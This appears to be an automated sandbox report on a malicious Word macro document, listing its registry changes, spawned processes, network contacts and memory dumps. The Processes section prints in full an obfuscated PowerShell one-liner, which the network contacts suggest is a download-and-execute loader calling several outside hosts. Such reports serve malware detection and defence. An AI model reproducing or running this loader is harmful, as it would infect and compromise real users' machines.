Malware Analysis Report

2024-10-16 06:29

Sample ID 240525-x8r93sfe41
Target 730589f4fa17619ba4a0b4760aed0426_JaffaCakes118
SHA256 ba60bdcdedfdecf24747f96a44ba2df973496807bf6b1080d9800feb53755242
Tags
macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ba60bdcdedfdecf24747f96a44ba2df973496807bf6b1080d9800feb53755242

Threat Level: Known bad

The file 730589f4fa17619ba4a0b4760aed0426_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

macro macro_on_action

Process spawned unexpected child process

Office macro that triggers on suspicious action

Blocklisted process makes network request

Suspicious Office macro

Legitimate hosting services abused for malware hosting/C2

Drops file in Windows directory

Office loads VBA resources, possible macro or embedded object present

Modifies registry class

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Modifies Internet Explorer settings

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-25 19:31

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-25 19:31

Reported

2024-05-25 19:34

Platform

win7-20231129-en

Max time kernel

118s

Max time network

129s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHell.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A sites.google.com N/A N/A
N/A sites.google.com N/A N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Office loads VBA resources, possible macro or embedded object present

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\ShellEx C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\mhtmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\ = "&Open" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon\ = "\"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\730589f4fa17619ba4a0b4760aed0426_JaffaCakes118.doc"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowersHell.exe

PowersHell .( ([stRINg]$verBOsEprEfeRENCe)[1,3]+'x'-JoIN'') ([stRIng]::jOIN( '' , ( '46p71X89,125H82,73w42E55{42{100,111-125w39,101,104~96,111X105~126H42~120~107-100G110H101-103G49X46p67w120E95,83~88H105,42{55~42p100H111~125~39E101,104w96H111H105G126-42{89~115-121,126w111G103,36~68,111H126-36w93X111X104H73,102G99H111-100p126X49G46~91X123~95{99~76w42E55~42p45-98,126E126-122G48-37H37{125{125p125,36w105H101p120E120H99G110G107H99G126p107p102G99~107{100X107G36X105X102~37G75w69{91~68H68{124H96p125p37-74,98w126H126-122~48E37p37G125,125{125G36p98G101X103H111,110{111X105H101H120-121X127-122H122p102w99~111-120w121p36-126~97p37~59G99~72w80w88,107H110w72w107-120H37X74H98{126G126w122G48G37H37-125,125H125w36E105X101X122X126p99~105p122E101p122-111H36X101X120p109X37H88~68H78E66E122~95p78,37p74G98E126w126{122,48-37{37p122H111G126X111w125-99-102H102X99{107H103X121w36,99G100E108X101H37G102G89G70{121p88p65X108~58p37-74p98X126,126{122{48H37w37{125~125E125p36G104~102~127{111-121G125G36w100X111E126G37-92-64w59G59{59E105H91H56G60E37p45G36w89w122p102E99w126{34X45w74E45E35E49X46-68X64G121-125p69,42w55G42,46,71~89~125E82~73p36H100w111H114-126E34p59-38H42{59X62p59X59w62{60G35H49{46H66,120G122-125~64G89G42w55p42X46{111{100w124E48{126G111w103H122X42p33G42w45p86,45w42w33~42w46w68,64-121H125,69,42{33p42,45,36-111p114,111G45-49H108-101p120G111-107,105{98E34E46~92w126E78-126G88,42p99H100G42w46H91~123G95w99~76-35H113{126~120H115H113-46{67X120p95E83{88G105-36p78G101E125p100E102w101E107~110H76~99H102-111H34G46p92H126{78E126-88E36~94{101G89p126G120H99-100p109w34w35H38w42E46{66p120{122-125,64,89E35p49w89H126w107w120E126H39p90{120H101{105~111G121,121{42G46p66p120{122w125G64-89G49X104X120{111p107w97,49G119p105G107H126H105-98E113-125H120G99E126{111,39{98p101{121p126{42~46E85E36{79p114H105H111-122G126,99X101w100~36E71p111~121E121,107p109p111E49{119~119'.SplIT('EG,wX~H{p-' )|fOrEach{ [ChaR]($_ -BxoR '0x0a')}) ))

Network

Country Destination Domain Proto
US 8.8.8.8:53 www.corridaitaliana.cl udp
CL 200.1.123.75:80 www.corridaitaliana.cl tcp
US 8.8.8.8:53 sites.google.com udp
GB 142.250.179.238:443 sites.google.com tcp
US 8.8.8.8:53 pki.goog udp
US 216.239.32.29:80 pki.goog tcp
US 8.8.8.8:53 www.microsoft.com udp
US 8.8.8.8:53 www.homedecorsuppliers.tk udp
US 8.8.8.8:53 www.copticpope.org udp
US 8.8.8.8:53 petewilliams.info udp
DE 3.70.101.28:80 petewilliams.info tcp
DE 3.70.101.28:443 petewilliams.info tcp
DE 3.70.101.28:443 petewilliams.info tcp
US 8.8.8.8:53 www.bluesw.net udp

Files

memory/1884-0-0x000000002F771000-0x000000002F772000-memory.dmp

memory/1884-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/1884-2-0x0000000070E4D000-0x0000000070E58000-memory.dmp

memory/1884-25-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-75-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-201-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-892-0x0000000006460000-0x0000000006560000-memory.dmp

memory/1884-46-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-45-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-44-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-43-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-42-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-41-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-40-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-39-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-38-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-37-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-36-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-35-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-34-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-33-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-32-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-31-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-30-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-29-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-28-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-27-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-26-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-24-0x0000000000490000-0x0000000000590000-memory.dmp

memory/1884-23-0x0000000006460000-0x0000000006560000-memory.dmp

